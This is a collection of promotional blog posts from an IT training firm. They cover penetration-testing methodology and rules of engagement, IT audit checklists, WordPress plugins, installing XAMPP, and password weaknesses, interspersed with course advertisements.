3. Penetration of Applications: This is a very important step which involves an attempt to break into the applications because so many attacks are directly targeted at applications. Web applications such as HP’s WebInspect and IBM’s AppScan can be employed, but the tester can also find ways to exploit the application logic errors. Nothing stands a skilled application test because once an initial application is compromised, a direct access to the database where valuable data is easy. If the tester can access the database, then the customers system is owned already and scripts can be written to block every loop holes by the attacker.

4. User Testing: This part of the penetration test is always fun for the penetration testers because they get to see how gullible and vulnerable most users are. The test may involve sending fake email messages to customer service representatives in a bid to gather information that can be used to penetrate their facilities. They even drop thumb drives at the parking lot and watch out for people that will plug them. Social engineering is one of the key ways of information gathering and should never be underestimated. Social engineering can be used on the client in order to catch them off guard.

 

The Qualifications of a Penetration Tester

The task of penetration testing can be performed by a qualified third-party agent as long as they are organizationally independent. What I mean is that they must be organizationally separate from the management of the client or the target system. Example, if we use a case study of a PCI DSS company as our assessment entity and as the third-party company carrying out the assessment, they cannot conduct the pen test because they’re involved in the installation, maintenance or as support to the target systems.

The following guidelines can be useful in your choice for a good and qualified penetration tester

Certifications for a penetration tester: The certifications which a penetration tester hold is a very indicative guide to their level of competence and skill. While these certifications may not be required, they can indicate a common body of knowledge for the tester. These are the few among’st many certifications a penetration tester can have;

  • Certified Ethical Hacker (CEH)
  • Offensive Security Certified Professional (OSCP)
  • Global Information Assurance Certification (GIAC)
  • Computer Information System Security Professional (CISSP)
  • GIAC Certified Penetration tester (GPEN)
  • EC-Council Security Analyst (ECSA)
  • Licensed Penetration Tester (LPT)
  • GIAC Exploit Researcher and Advanced Penetration tester (GXPN)

Always remember that before any test begins, all parties are recommended to be involved such as the organization, pen tester, the assessor where applicable. They all must be aware of the types of test being performed i.e. external, internal, network layer or application and how the test will be performed and the target.

Steps to Perform a Detailed Penetration Testing

1.Scoping of the organization: The responsibility of the organization is to the adequately define the critical systems. The normal recommendation is that the organization works hand in hand with the pen tester whenever it is applicable. The assessor also plays major role here to verify that none of the components are overlooked and also to determine if there are additional systems to include in the scope. The scope of the penetration test should include the critical systems, the access points and the methods for segmentation.

2. Documentation: All components within the scope of the documentation should be made available to the tester whenever necessary. Documents include,

  • Application interface documentation
  • Guides to the implementation

This will help the tester to understand the functionality of the system. Other information which the organization needs to supply the tester should include

  • Network diagram. showing all the network segments.
  • Data flow diagram
  • Detailed list of all services and ports that are being exposed to the perimeter.
  • List of the network segments in isolation

A typical network diagram showing      the  network architecture

 

The pen tester uses all this information to assess and identify all unexpected attack vectors and any insufficient authentication controls.

3. Rules of Engagement: Before any test begins, it is very important to agree and document on conditions and terms in which the test is being performed and the extent to the level of exploitation. This gives the pen tester the authority to the test environment and to make sure the organization has an understanding of test and what to expect from it. The following are what to consider as rules of engagement

  • Window time will the test be performed?
  • What are the known issues in the system and issues with automated scanning? And if so, will such systems still be tested?
  • Any preferred methods of communication about the scope and any issues that will be encountered in the course of the test.
  • Any security controls could detect the testing?
  • Are there passwords or any sensitive data to be exposed during the test.
  • If the equipment to be used by the tester will pose any threats to the systems in the organization.
  • Any updated OSes, service packs and patches and if the tester should provide all the IP addresses for which the test will originate.
  • What steps the tester should take when he detects any flaw or loophole.
  • Will the tester retain any data obtained during the tester?

4. Third-party Hosted/Cloud environments: The following should be added to the rules of engagement.

  • Before test commences, if the service-level agreement requires any approval from the third-party.
  • Web management portals that are provided to manage the infrastructure by the third-party should not be included unless noted in the scope.

5. Criteria for success: Pen testing is supposed to simulate a real-world attack with the aim of identifying the extent an attacker can go to penetrate the systems. Therefore, defining the success criteria for the pen test will allow the entity to program limits for the pen test. Success criteria should be included in the rules of engagement and should include

  • Restricted services or data should be directly observed in the absence of access controls
  • Level of compromise of the domain being used by legitimate users.

6. Review of past vulnerabilities and threats: this involves a review and a consideration of all the threats and vulnerabilities that were encountered in the last 12 months. It is more like an historical look into the organizations environment since the last assessment was performed. This information is very important to give insights on how to handle the current vulnerabilities. Depending on whether it is a white box, grey box or black box test that is to be performed, these are not to be included in the review.

  • Vulnerabilities being discovered by the organization and have not be solved within a certain time.
  • Compensation controls preventing the discovered vulnerabilities
  • Upgrades or deployments that are in progress
  • Threats and vulnerabilities that have led to a possible data breach
  • Valid remediation of pen test in the past years.

7. Segmentation: This is done by conducting test used during the initial stage of the network penetration such as port scans, host discovery. It is performed to verify that all the isolated LANs do not have access to the database. Testing each of these unique segments should ensure that security controls are working normally as intended. The pen tester should check the LAN segments that they have access to the organization and restrict access.

8. Post Exploitation: This means taking actions after an initial compromise of the system. It refers to the methodical approach of making use of pivoting techniques and privilege escalation to establish a new source of attack. This can be done from a vintage point in the system in order to gain access to the network resources.

9. Post- Engagement: the following activities should be done after the engagement or testing are being performed:

  • Remediation best practices
  • Retesting all the identified vulnerabilities

10. Cleaning up of the work Environment: After the pen test has been performed, it is necessary to do a thorough cleanup of the working environment. The tester does some documentation and informs the organization of any alterations that have been made to the environment. These include but not limited:

  • Installed tools by the tester on the organizations system
  • Created accounts during part of the assessment
  • Changed passwords for accounts
  • Any additional documents not related to the organization

11. Reporting and Documentation: Report helps an organization in their efforts to improve upon their security posture and also to identify any areas that are vulnerable to threats. A report should be structured in a such a way that it the test is clearly communicated, how it was carried out. The report should be done in the following steps;

  • Report identified vulnerabilities
  • Any firewall mis-configurations
  • Report of detected credentials that were obtained through manipulation of the web application.The service of penetration testing is a typical learning experience for everyone in the organization that is involved in it as well as the tester. The testers get to discover and learn what it is that works and what does not work and is not obtainable to the entity being tested. They can also learn how to find ways to adapt to the defenses of the customer. The client i.e the organization gets to learn of what they should have known and done that is less effective and finally learn and appreciate what is applicable. The pen tester now tries to pick the pieces and build a strong and long-term relationship with the client.

We at soutech web consults are the perfect consulting firm for carrying out your penetration testing. We have professional staff and team to conduct a well detailed and professional penetration testing. Subscribe for our services today.

 

 

 

A step by step Guide for IT Auditing: SOUTECH Web Security- Penetration Testing company in Nigeria

IT audit attempts to evaluate the controls surrounding data as it relates to confidentiality, integrity, and availability. IT audits ensure that confidentiality of information, ensures the integrity and availability which is a key factor to recovering from an incident.

This is a follow up article to on IT audits but I will be dissecting more on the methodologies and steps to performing audits

 

One of the challenges that audit managements and IT auditing have faced overtime is that it ensures IT audit resources are readily available to conduct IT audits. It audits require a lot of technical skills unlike financial audits, for example, an IT auditor will need a lot of training in web applications in other to audit a web application. Likewise, if they want to an oracle audit, they need to be trained efficiently as well as Windows platforms.

Another problem that audit management faces is in the management of IT auditors, because this because they have to track the timing when compared with the objectives of the audit as well as follow-up time on the measures of corrective actions that the clients take when responding to any previous recommendations and possible findings.

One of the important factors in IT auditing and one in which audit management struggles with consistently, is to ensure that adequate IT audit resources are available to perform the IT audits. Financial audits quite unlike IT audits are very intensive in terms of knowledge, for example, if an IT auditor is performing a Web Application audit, then they need to be trained in web applications; if they are doing an Oracle database audit, they need to be trained in Oracle; if they are doing a Windows operating system audit, they need to have some training in Windows and not just XP, they’ll need exposure to Vista, Windows 7, Server 2003, Server 2008, IIS, SQL-Server, Exchange.

 

Another factor that audit management faces is the actual management of the IT auditors, for not only must they track time against audit objectives, audit management must allow for time to follow-up on corrective actions taken by the client in response to previous findings and/or recommendations.The following are the things that an IT expert needs to do before beginning an audit;

  • Perform a review of the organizational structure of the IT assets
  • Perform a review of all IT policies and procedures
  • Perform a review of all the IT standards
  • Perform a review of the IT documentations
  • Perform a review of the organization’s BIA
  • Conduct an interview the authorized personnel
  • Observe and monitor the processes and the performance of the employees
  • Examine the testing of controls, and the results gotten from the tests.

Steps to Perform IT Audits

1. Understand the Audit Subject Area

  • Perform a tour of all the facilities related to audit
  • Perform a review of the background materials
  • Review the IT and business strategic plans
  • Conduct an interview for the key managers in order to understand business
  • Review audit reports that have been in existence
  • Identify regulations and where they have been applied
  • Identify the areas that have been outsourced

 2.  Perform an Audit Engagement Plan Vocabulary

Subject of the Audit: The area that is to be audited. An example is the information systems related to sales

The objective of the Audit: The purpose of performing the audit. An example is determining if the sales database is safe against data breaches, due to inappropriate authentication, access control, or hacking.

Scope of the Audit:  Streamlining the audit to a specific system, function, or unit, or period of time. An example is the is determining if the scope is constrained to Headquarters for the last year.

3.  Perform Risk Assessment: Risk-Based Auditing

Check Inherent Risk: Determine the susceptibility of the system to a risk. An example is a bank’s inherent risk of being robbed.

Control the risk: If a problem exists that will not be detected by an internal control system. Still using the bank case as an example, if a thief accesses a customer’s account at Money Machine and is not detected

Detection of Risk: An auditor does not detect a problem that does exist. Example as in the case of the bank, if a fraud takes but it is not detected.

Perform an overall risk auditing: Combine all the audit risks.

4.   Audit Engagement Risk Analysis

5.   Prepare an Audit Engagement Plan

  • Develop a risk-based approach
  • Include audit objectives, required resources, timing, scope
  • Comply with all applicable laws
  • Develop an audit program and procedures

6.  Add Detail to Plan

7.  Evaluate Controls:

8. Classification of IT controls

  • Corrective controls: It involves fixing the problems to prevent future problems by using:
  • Contingency planning
  • Backup procedures
  • Detective Controls: These involves finding any form of fraud when it occurs using:
  • Hash totals
  • Check points
  • Duplicate checking
  • Error messages
  • Past-due account reports
  • Review of activity logs
  • Preventive Controls: Preventive control measures include:
  • Programmed edit checks
  • Encryption software
  • Access control softwares
  • A well-designed set of procedures
  • Physical controls
  • Employ only qualified personnel

9.  Evaluate Controls: Simple Control Matrix

  • Test the Vocabulary

Compliance Testing:  A compliance test should take this form

  • Are there controls in place and are they consistently applied?
  • Check access control
  • Ensure program change control
  • Procedure documentation
  • Program documentation
  • Software license audits
  • System log reviews
  • Exception follow-ups

Substantive Testing:  Check the following:

  • Are transactions processed accurately?
  • Is data collected correct and accurate?
  • Double check processing
  • Calculation validation
  • Error checking
  • Operational documentation

If the results for the compliance testing are poor, the substantive testing should increase in type and sample number.

Compliance Testing: It should check the following

  • Control: Is production software controlled?
  • Test: Are production executable files built from production source files?
  • Test: Are proper procedures followed in their release?
  • Control: Is access to the sales database constrained to Least Privilege?
  • Test: Are permissions allocated according to documentation?
  • Test: When persons gain access to the database, can they access only what is allowed?

Substantive Testing

  • Audit: Is financial statement section related to sales accurate?
  • Test: Track the processing of sample transactions through the system by performing calculations manually
  • Test: Test error conditions
  • Audit: Is the tape inventory correct?
  • Test: Search for sample days and verify complete documentation and tape completeness

 Tools for IT Audits

ISACA has Standards and Guidelines related to Audit

  • Section 2200 General Standards
  • Section 2400 Performance Standards
  • Section 2600 Reporting Standards
  • Section 3000 IT Assurance Guidelines
  • Section 3200 Enterprise Topics
  • Section 3400 IT Management Processes
  • Section 3600 IT Audit and Assurance Processes
  • Section 3800 IT Audit and Assurance Management
  • Translate the basic audit objectives into specific IT audit objectives
  • Identify and select the best audit approach to verify and test controls
  • Identify individuals to interview
  • Obtain departmental policies, standards, procedures, guidelines to review
  • Develop audit tools and methodology

IT General Controls Check List

1. Documentation of employees and the organization

  • Draw an organizational Chart
  • Company
  • IT Department
  • Current Phone List/Company Directory
  • Job Descriptions for the IT Department
  • Sample of Employee Evaluation Form
  • List of all the terminations/ disengagements in the last 12 months.
  • Checklist of newly hired employees
  • Termination Checklist
  • IT Project List – Is it being planned, completed in the last 12months on its ongoing?
  • Review of the past year’s management response letter

2.       Documentation of IT policies and procedures

·   Obtain a network architecture diagram and documentation

·   Obtain a network diagram

·   Obtain a diagram and Lists of hosts and servers that are running financial applications

·   Change the management policies and procedures

·   Make an inventory of network hardwares and softwares

·   Determine the computer operations, its policies and procedures

·   Layer down security policies

·   Enforce password policies

·   Acceptable Use Policy

·   Layer down incident response policies

·   Get a curriculum for security awareness training

·    Configure firewalls and rule sets

·    Obtain software policies and procedures

·    Setup remote access policies

·    Setup policies for emails, instant messaging, internet usage

·    Develop a disaster recovery and business contingency plan

·    Setup policies for data backup and data recovery

·    Get backup logs

·    Offsite Tape Rotation Logs

·    Obtain a listing of IT related insurance coverage

·    Get copies of vendor contracts and service level agreements

·    Deploy an organized Help Desk with help desk request tracking forms and trouble tickets

·    Report open and closed tickets

·    Employ batch processing

 

When performing an IT audit, the responsibility of the auditor general is to check if the IT system complies with government IT policies, procedures, standards, laws and regulations. Also, the auditor general should endeavor to use IT audit tools, technical guides and recommended resources by ISACA where appropriate. The resources recommended by ISACA (Information systems Audit and control association should encourage IT audit staff and the team as a whole to be certified. Certifications include but a few;

  • CISA (Certified Information systems Auditor)
  • CIA (Certified Internal Auditor)
  • CISM (Certified Information Security Manager)
  • CGEIT (Certified in the Governance of Enterprise IT)

The Audit reports

After a successful audit process, the IT auditor needs to do a detailed documentation. Here is a list of a few things an auditor needs to include in the audit.

  • Plan and prepare the scope and objectives for the audit
  • Describe the scope of the audit area
  • Draft and audit program
  • Get down the steps performed and gather the audit evidence of the audit
  • If the services of other auditors and IT experts were used and what their contributions were.
  • Document your findings, make conclusions and recommendations
  • Document the audit in relation with document dates and identification
  • Report obtained as a result on the audit performed
  • An evidence of the review for audit supervisory

The audit results should be submitted to the organization upon exit where you can take out time to discuss in details your findings and recommendations. You should be certain of the following;

  • That all the facts and findings noted down on this report are accurate
  • That the recommendations you’ve made are cost-effective, more realistic and there are alternatives which should be negotiated with management
  • That the dates for the recommended implementation will be agreed.

There are some other things you need to consider when you’re preparing to present your final report. You need to consider the audience and if the presentation is going to be done to the audit committee. The audit committee may not be really notice the minutia that goes into the business report. Your report should be done in a timely manner so as to give way for any form of corrections.

Finally, if you come across a significant finding in the course of the IT audit, you should inform management immediately.

Always subscribe to Soutech Ventures where we can handle all your IT solutions especially in the areas of IT audits.

Also enroll for a cyber security, ethical hacking training at SOUTECH.

Learn smart website design( ecommerce , company and blog websites) within days- SOUTECH Academy

So you really want to be a website designer? Well, website designing is very interesting and website designers around the world earn some reasonable amount of wages. It is a process of bringing in concepts and ideas into a functional reality.

WHY WEBSITE DESIGN?

As a website designer, you have many options to choose from when it comes career choices. A website designer has some sets of I.T. skills that put the individual in the positions such a website consultant, creative content creator, website administrator, webmaster, website theme developer, plugins developer, theme and plugin customization expert, blogger and much more.

A website designer possesses the ability to design and lunch a functional website or blog, and can also manage and maintain websites including creating contents for various websites, consulting and training other people on website designing. Website design comes with many opportunities, giving you enough room for work flexibility as you can choose to work from anywhere all you need is a computer devices and internet service. You can become a website designer by spending three (3) days with Soutech Web Consult for an intensive website design training and become an expert in less than one month.

WHY SOUTECH WEB CONSULT

Soutech offers various I.T trainings such as Certified Ethical Hacker, Website Design, Web Development, Mobile App, Digital Marketing and many more. Visit www.Soutechventures.com/courses to learn more. Soutech trainings are hands-on emphasizing on relevant areas with over 30 days’ mentorship giving you an opportunity to have you own website for practical practices and experience.  The training labs are conducive in a serene environment that gives you comfort throughout your training period.

THE NEED OF WEBSITE DESIGN

The need of website design is based on the demand of websites.

A website is the single most important marketing tool for any business. It serves as a virtual equivalent of a physical business for the over 3 billion internet users. Think about it: when you want to learn more about a company, you typically turn to Google and search about the company and most times you eventually end up on their website. The same process happens when you are looking for products and services.

As a web development and marketing services company, whenever someone searches for Soutech Web Services, they’ll usually hit our website as the main source to learn about our services, our work, and about the team.

Now, for any organisation that offers services, users will certainly turn to past clients and case studies section of a website. So much information is gained by users browsing a website: what users see and read shapes the perception of the company or brand in the user’s decision-making. According to Statista, over 2 billion people are expected to buy goods and services online by the year 2019. So, having the best content on your website is important so that your website acts as your main marketing tool.

A well-built website should be mobile-responsive, and important aspect to consider based on the fact that it contribute in making a website the most important marketing tool as more and more users browse the web on smartphones (more than desktop usage now, according to Google). Any organisation that desire growth cannot afford to miss out on opportunities for new leads by not having a responsive website.

So there you have it – a website is the most important marketing asset, not just because it acts as a salesperson and a brand ambassador, but because it can be use to genuinely connect with potential customers, whether that’s through engaging content, mobile-responsive layout, or intelligent analytics and personalization. If a website isn’t hitting all these goals, that’s all right. It’s definitely an interactive process, and few if any websites can accomplish everything they need to right out of the gate. It is imperative that one should add these goals to an overall inbound marketing strategy and work on executing them, by doing so, there is assurance that a business will continue to grow. That is what all organisation wants “Grow” hence the will seek the services of someone with the ability to activate that growth through digital presence which is where you will come in as a website designer.

So are you ready? The first step is to visit www.soutechventures.com/courses and give us a call today.

Penetration Testing Training in Nigeria(Certified Ethical Hacking, Certified Penetration Tester,Certified Expert Penetration Tester and the Metasploit Pro Certified Specialist )

Expert Penetration Testing Course Overview

SOUTECH Web Consults Penetration Testing Training, delivered in the form of a 10 Day Boot Camp style course, is the information security industry’s most comprehensive penetration testing course available. You will learn everything there is to know about penetration testing, from the use of network reconnaissance tools, to the writing of custom zero-day buffer overflow exploits. The goal of this course is to help you master a repeatable, documentable penetration testing methodology that can be used in an ethical penetration testing or hacking situation. This penetration testing training course has a significant Return on Investment, you walk out the door with hacking skills that are highly in demand, as well as up to four certifications: CEH, CPT, CEPT and the MPCS!

HOW YOU’LL BENEFIT:

  • Gain the in-demand career skills of a professional security tester. Learn the methodologies, tools, and manual hacking techniques used by penetration testers.
  • Stay ethical! Get hands-on hacking skills in our lab that are difficult to gain in a corporate or government working environment, such as anti-forensics and unauthorized data extraction hacking.
  • Move beyond automated vulnerability scans and simple security testing into the world of ethical penetration testing and hacking.
  • More than interesting theories and lecture, get your hands dirty in our dedicated hacking lab in this network security training course.

After SOUTECH’s Penetration Testing Training course, you will be prepared to take (and pass) up to 4 certifications:

  • CEH – Certified Ethical Hacker
  • CPT – Certified Penetration Tester
  • CEPT – Certified Expert Penetration Tester
  • MPCS – Metasploit Pro Certified Specialist

Prerequisites:

  • Firm understanding of the Windows Operating System
  • Exposure to the Linux Operating System or other Unix-based OS
  • Firm understanding of the TCP/IP protocols.
  • Exposure to network reconnaissance and associated tools (nmap, nessus, netcat)
  • Programming knowledge is NOT required
  • Desire to learn about Ethical Hacking, and get great penetration testing training!

Course Cost: N750,000 ( 10% Discount for Educational and Group Training)

Duration: 10 Days

Weekday Option- Mon-Fri( for 2 weeks)-( 9am-3pm dialy)-

Weekend Option-  Sat- 9am-5pm and Sun- 2-6pm( 5 weekends)

10 Deadly sins of Wireless Security- SOUTECH Cybersecurity Training tips, hints

Ten Deadly Sins in Wireless Security  The emergence and popularity of wireless devices and wireless networks has provided a platform for real time communication and collaboration. This emergence has created new IT vulnerabilities, which in turn have created the necessity to establish practices that make the wireless environment secure and convenient. in order to reap all of the benefits associated with wireless technology. This paper focuses on the ten deadly sins of Wireless security.

Wireless technology is yet another offshoot of Information and communication technology  revolution. Users now rely extensively on networks for carrying out personal and business activities. Wireless networks provide users with real-time access to information from  anywhere at any time without the constraint of wired networks. In essence, wireless networks provide mobility, unavailable with wired networks. It is easier to install wireless network and systems can be configured to communicate in the wireless environment. As more and more people use wireless devices and avail online services, wireless networking is set to gain inroads into the daily routine of users.

Attend a Certified Ethical Hacking Training in Nigeria– Live Class in Abuja, Online Training from anywhere(Lagos,Port Harcourt, Kano,Ghana- All cities anywhere around the world).

https://www.soutechventures.com/certified-ethical-hacking-training-in-abujanigeria/ 

Read more below

How to build and design a website within 3 days: SOUTECH Web design training school Abuja, Nigeria

Learning how to build a website is much more fun than painstaking as often presumed. You can learn how to build your own website within just days. Gone are the days when you must have to be a web programmer learn how to code before building websites. Today, with the emergence and development of content management system, building websites has become much easier. A lot of content management systems are open source, which means you can use them freely and also modify the codes to achieve what you want to achieve. Also, the open source content management systems have led to the development and website templates, components and plugins which add some specific functionalities on our websites.

You can easily change website layout, colour and fonts styles with just a few clicks and add functionalities by installing desired plugins and components.

Some widely used content management systems include:

  • WordPress
  • Joomla
  • Drupal
  • Open
  • Magenta and so much more

YOU CAN ALSO TRY WYSIWYG

Although building websites with CMS is recommended, building without CMS can also be achievable and fun as well. There many WYSIWYG (what you see is what you get) website editors that make creating a website easy. Some WYSIWYG editor like Adobe Dreamweaver also gives you the opportunity learn some HTML tags and codes by splitting the windows into design view and editor view. Microsoft Expression Web is also a good WYSIWYG editor with lots of features that are fun to explore.

If you are not a fan of GUI, there are also IDE editors that you can make use of such as;

  • Aptana Studio
  • Brackets
  • Codelite
  • Netbeans
  • Notepad++
  • PHPeD
  • PHPStorm

 BEGINNERS LOVE CMS

Though PHP frameworks such as Laravel, has proven to be a better practice in web development, especially for OOP (Object Oriented Programing) projects, beginners still find it easy to learn website design using CMS. CMS offers many advantages to designers, developers and content managers for speedy development and to some extent simple access to advanced features. You can easily install new website templates seamlessly without altering the website content. Some CMS will include everything you need to implement an integrative online marketing strategy. Most CMS will contain tools for search engine optimization, email and sms marketing, social media marketing and blogging. You can also use a CMS with necessary plugins to create event registration forms, collect fees and donations, and store member information.

 SOUTECH MAKES IT EASY

Despite the fact that building websites using CMS is easy, some knowledge and skills are required in order to make effective use of the software mentioned above. These skills and knowledge can be learned by completing a certificate course on Website Design Management. Soutech has designed this course to enable you to become acquainted with content management system. You have the options to either have a live training which I recommend, or order for our visual training online via www.soutechventures.com

Becoming  a website designer expert is easy at Soutech Web Consult, Soutech has design a complete CMS Website Design package that makes enables you to become a WordPress CMS Expert.

Do you want to become an expert website designer? Be able to build websites for school, churches, institutions, government agencies,hotels and just for about any body.?

What to become a partner and start reselling softwares? visit : www.buyallsoftwares.com

Do you want to buy over 150 ICT Training home kits?  https://buyallsoftwares.com/product-category/dvd-training-kits/

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Building a fully responsive, functional and interative website using Content Management System- Website Design Training in Nigeria. SOUTECH

Building website using CMS is fun and simple as playing a video game. You will have access to some graphic interface which saves you the stress of coding, drag and drop functionality that eliminates time waiting and WYSIWYG editors so you do not need to refresh your browser all the time for testing.

Most CMS are shipped with fewer default plugins and components that can be use in developing websites, whilst you can install additional plugins to use at will. The CMS with the largest number of downloads and installation still remains WordPress. WordPress is the real deal when it comes to open source CMS. It has robust plugins of various functionalities and the largest number of website templates.

There are some plugins that could be extremely useful when you install a WordPress CMS and ready to start building your website.

LOGIN AND SECURITY:

When building websites with CMS, there are always some serious concerns when it comes to login and security. For instance, you will want to control access to your users and administrative roles as well. Some level of programing knowledge might be required to implement certain protocols in order to safeguard and control your WordPress dashboard (backend). However, some developers has already created plugins that will do all those painstaking tasks for you. Some important plugins that could be useful in this aspect are;

Wordfence: is great for beginners and pro users alike that covers login security, security scanning, IP blocking and WordPress firewall and monitoring. It performs a deep server scan of a website’s source code of the and compares it to the Official WordPress repository for core, themes and plugins.

Login LockDown: records the IP address and timestamp of every failed login attempt. If more than a. certain number of attempts are detected within a short period of time from the same. IP range, then the login function is disabled for all requests from that range.

Sucuri: offers a free plugin that is available in the WordPress repository. This plugin offers various security features like malware scanning, security activity auditing, blacklist monitoring, effective security hardening, file integrity monitoring, and a website firewall. It is a security suite meant to complement your existing security posture.

SEARCH ENGINE OPTIMISATION (SEO)

The advancement of a good web present resides on an effective SEO management. This includes keywords, tags, image descriptions etc. Some of the plugins that can manage your WordPress website SEO are:

WordPress SEO by Yoast: is a best free SEO plugin for WordPress. This single plugin takes care of many aspects of your WordPress website’s SEO. It can be used to add meta value for homepage and single post, perform social SEO, create sitemap file and Control indexing of your website.

SEMrush: Unlike others which are plugin, this is a web based tool. Think of SEMRUSH as a complete SEO suite for people with or without SEO skills. The most popular feature of SEMRUSH is, it let you do the complete site SEO audit which helps you to identify SEO issues that are preventing the organic growth of your blog.

 

SOCIAL MEDIA INTEGRATION

One of the reasons why WordPress has become the developer’s choice is capability of diverse plugins, such that can be integrated into your website easily. Below are some useful social media integration plugins;

Sumo Share: offers multiple apps designed for increasing traffic. It is precisely made for WordPress, and has a lot of options for customizing the social buttons that you add to your website. It comes with a meek interface that makes choosing where to place the icons easy. It’s a free plugin that also has a premium version with advanced features for $20 a month.

Smart Website Tools by AddThis: is a neat plugin which requires that you register on the AddThis service in order to use it. It offers numerous placement options for your social media icons. You can make use of five of them for free, while a premium version that offers you another five cost $12 per month

WP Social Sharing: is a well arranged plugin supporting 6 of the big social media networks, including Facebook, Twitter, Pinterest and LinkedIn. The great thing about it is that it’s mobile-friendly and allows easy resizing for mobile devices. It also supports shortcodes, and enables you to modify the text for your social media buttons.

Jetpack: is a great plugin for your social media needs, with an easy-to-use but actual sharing component. But it’s also much more than that, as it contains 34 other modules, adding numerous functionalities to your WordPress website.

COMMUNICATION

Communication is a dynamic feature that circles a good website. In order to keep your website alive and dynamic, you will need to install some communication plugins such as;

Subscribe Me The free Subscribe Me plugin makes it easier for your visitors to use some of the most popular feed reading applications or services to subscribe to your feed, by adding a popup that lets them choose which service they want to use.

Contact Form 7: manages multiple contact and other forms, allows you can customize the form and the mail contents easily with simple markup. The form also supports Ajax-powered submitting, CAPTCHA, Akismet spam filtering, etc.

Zendesk Chat (Formally Zopim Live Chat): is one of the most popular live chat services available to WordPress users. It is easily installed thanks to a dedicated WordPress plugin, available for free from the official repository. Zopim’s chat boxes are among the most stylish you will find, with beautiful, customizable layouts and themes.

WP Live Chat Support: the only completely free option in today’s list of best live chat plugins for WordPress – though you can unlock additional features by upgrading to the Pro version for $39.95.

 It is also a good practice explore the WordPress plugins directory and if possible test some plugins to see how they work for you. You will be amazed on what you will discover. Do not forget that it is advisable to deactivate and uninstall any unused plugin. Also adapt the practice of updating any outdated plugin in order to enhance the security of your WordPress website.

Becoming a WordPress expert is easy at Soutech Web Consult, Soutech has design a complete CMS Website Design package that makes enables you to become a WordPress CMS Expert.

Do you want to become an expert website designer? Be able to build websites for school, churches, institutions, government agencies,hotels and just for about any body.?

What to become a partner and start reselling softwares? visit : www.buyallsoftwares.com

 

 

Local Web Development via a server: Learn how to start developing websites- SOUTECH

So you have just found web development interesting and want to learn or you are a beginner in web development? Whichever category you belong; you will definitely find this article interesting and useful. During my first three months as a beginner in web design, I recall how difficult it was for me to see my codes displayed on the browsers as intended. Most times the HTML display just fine while some PHP and JavaScript will not display as intended and I often wonder what is it that I am not doing right, that before I meet a good friend called “Local Server”. Off cause, PHP is a server-side language, so you will definitely need a server to run it.

Local Server

Local Server often called a localhost is a software with some built-in functionalities that make your website looks just like it should when it is been hosted on a live server. You will need a local server if you intend to install and run a Content Management System on your computer. It can be accessed by pointing your browser to 127.0.0.1 or http://localhost, at some point you might need to add a port i.e. http://localhost:8080. To install a local server on a windows computer you have an option to choose between XAMPP (X-Cross-Platform, A-Apache, M-MariaDB, P-PHP and P-Perl) and WAMP (Windows, Apache, MySQL, PHP). I prefer XAMPP which works just fine for me and other developers find it to be awesome. Don’t worry both packages are open source.

Functionality

The two regular functions often used are the server (which is apache) and database (MariaDB). The Apache server which is known to be the best server in the world, serving HTTP document over the internet allows your website to be published locally for testing. MariaDB is one of the most popular open source database servers created by the original developers of MySQL, it allows for database creation when building a data-driven website.

How to install

We will use this guide to install XAMPP on our local server. So with no wasting of time head straight tohttps://www.apachefriends.org/index.html choose the version of XAMPP you prefer to download (I suggest you choose the one with a widely used PHP version).  After the download is complete, you need to open the folder where you saved the file, and double-click the installer file.

First, you will be prompted to select the language you wish to use in XAMPP. Click the arrow in the drop-down box to select your desired language from the list, then click OK to continue the installation process.

If you are using Windows 7 or higher, you will see a pop-up window, warning you about User Account Control (UAC) being active on your system. Do not panic, just click OK to continue the installation.

Next, you will see the Welcome to The XAMPP Setup Wizard screen. Click Next to continue the installation.

The next dialogue screen will allow you to choose which components you would like to install. To run XAMPP properly, all components checked need to be installed. Click Next to continue.

It is time for you to Choose Install Location screen. Unless you would like to install XAMPP on another drive, you should not change anything. Click Install to continue.

Relax while XAMPP extract files to the location you selected in the previous step.

Once all of the files have been extracted, the Completing The XAMPP Setup Wizard screen will appear. Click Finish to complete the installation.

Click Yes to open the XAMPP Control Panel after you have click Finish in the previous screen.

You now have a local server.

A local server is idle for testing when building websites and web applications. XAMPP needs to be configured properly for better functionality. To learn more about building web applications and testing with a local server, I recommend you enroll in a web design training at Soutech Web Consult.

Ten Deadly Sins of Cyber security: SOUTECH Web Security Tips and Techniques Guide

1. Introduction
The Information technology (IT) revolution has made it easier to communicate and  disseminate information over long distances and in real time. IT has entered into major realms of a person’s life like education, occupation, commerce and entertainment. The speed, convenience and efficiency associated with IT have made it the lifeline of most organizations, government agencies, professionals and  individuals. Whether you take a look at banking and finance, energy, health care, utility services and communication, IT has revolutionized every sphere of business activity and service delivery. The services sector, in particular has been one of the major beneficiaries of the IT revolution. Banks now offer multiple channels for interacting with their clients such as branch, Internet, mobile, phone and teller machines which make financial products more attractive, and banking more convenient for customers. In this case, banking industry customers are networked to their bank in one way or another.
1.1 Cyber Security
Information Technology and its significance in the business world have become ubiquitous. Today’s business environment is comprised of service industries that are completely dependent on their IT infrastructure. For example, the air traffic control industry is critical to the “normal” functioning of airlines so any disruption in their “traffic control systems” can cause errors that could result in accidents and could even lead to loss of life. Conversely, a power breakdown resulting from a disruption in a company’s IT infrastructure could bring all “operational” activities to a standstill.
The explosive growth and dependence on Information Technology has also provided a veritable breeding ground for cyber crime. Information Technology has made it easier for unscrupulous entities to deceive, steal and harm others through cyberspace. The ease with which these cybercrimes can be committed has raised concerns regarding information confidentiality, integrity and availability. Therefore, the importance of cyber security cannot be overstated. Cyber security involves protection of the data on all
computers and systems that interact with the Internet. It is possible to achieve this level of protection by ensuring proper authentication and maintaining confidentiality, integrity and access controls. In addition, non-repudiation of data is a crucial element of cyber security.

2. Vulnerabilities
The evolution of Cybercrime is evident when one examines how technologically advanced the scope and nature of common attacks have become. Cybercriminals have a more sophisticated modus operandi and purpose. Information can be stolen through social engineering techniques like phishing, or via direct attacks, installing malware through browser tools, ad-links, and key loggers among others. Cybercrime is steadily evolving into a well-organized but still very illegal business activity. In spite of these advances, adherence to a standard of IT Security fundamentals can facilitate appropriate handling of cyber threats.
2.1 Ten Deadly Sins of Cyber Security
i. Weak passwords
The most fundamental, but often overlooked premise of cyber security is strong passwords. Many users still use insecure passwords.

Some of the insecure password practices include
a) Using all letters of same case,
b) Sequential numbers or letters,
c) Only numerals,
d) Less than eight-characters,
e) Predictable characters (such as name, date of birth, phone number)
f) Common passwords for different online accounts.
